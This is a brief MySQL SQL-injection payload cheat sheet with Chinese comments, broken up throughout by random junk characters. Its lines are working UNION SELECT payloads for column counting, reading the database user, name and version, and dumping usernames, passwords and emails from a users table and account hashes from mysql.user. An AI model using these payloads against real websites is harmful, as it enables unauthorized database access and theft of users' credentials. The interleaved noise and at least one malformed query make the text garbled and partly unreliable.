+ K1 I3 v6 ]# q0 hUNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100-- * |4 y6 Y1 t0 N$ i) H" h! ]1 p+ K) Q$ i9 j, I* t! v- N$ t
and+(select+count(*)+from+mysql.user)>0-- 判断是否能读取MYSQL表 3 [, c, U' I. H2 O 2 b5 V; k# M! |CONCAT_WS(CHAR(32,58,32),user(),database(),version()) 用户名 数据库 MYSQL版本 1 i5 R# E9 p" ^. z g$ n ) C9 C M0 E8 K5 U' D; wunion+select+1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10,7-- - q, b0 s+ k: d: i: S2 B ] 1 o$ k+ q ^/ n' r) tunion all select 1,concat(user,0x3a,pass,0x3a,email) from users/* 获取users表的用户名 密码 email 信息 $ ^( J5 C3 \1 l; S, D/ E& ^
" {4 Z. o/ n. N% _( M) L6 xunhex(hex(@@version)) unhex方式查看版本 1 ^9 c2 Z# k% u0 w& U ! k. H. s+ y! g$ cunion all select 1,unhex(hex(@@version)),3/*+ B4 t5 U; q6 Q% u. y' ^9 U
" x) V. Q/ Q E3 u( f* B2 @2 wconvert(@@version using latin1) latin 方式查看版本0 r/ w2 f& ^) C1 t; ^$ c
, }% x6 a: b8 @. lunion+all+select+1,convert(@@version using latin1),3-- 0 I2 R; k5 O: Z1 j4 N8 w) x# h& X) T1 x- t. q* f1 i
CONVERT(user() USING utf8) 6 V- G7 Z7 e S& d* |2 I/ \union+all+select+1,CONVERT(user() USING utf8),3-- latin方式查看用户名& H% c2 f0 p1 X _: w
! p {( m- a4 W& U( t4 g* e
. j4 Z( Y, p3 `$ ?) r L1 P
and+1=2+union+select+1,passw,3+from+admin+from+mysql.user-- 获取MYSQL帐户信息- e/ |$ k8 @( C. F. e! t _; X s
- {& n1 F/ _+ {! |7 ^ ^$ ]union+all+select+1,concat(user,0x3a,password),3+from+mysql.user-- 获取MYSQL帐户信息3 N, t j4 Q- z$ I$ B G9 u
/ Z1 d, r& e; F+ ~! }. Y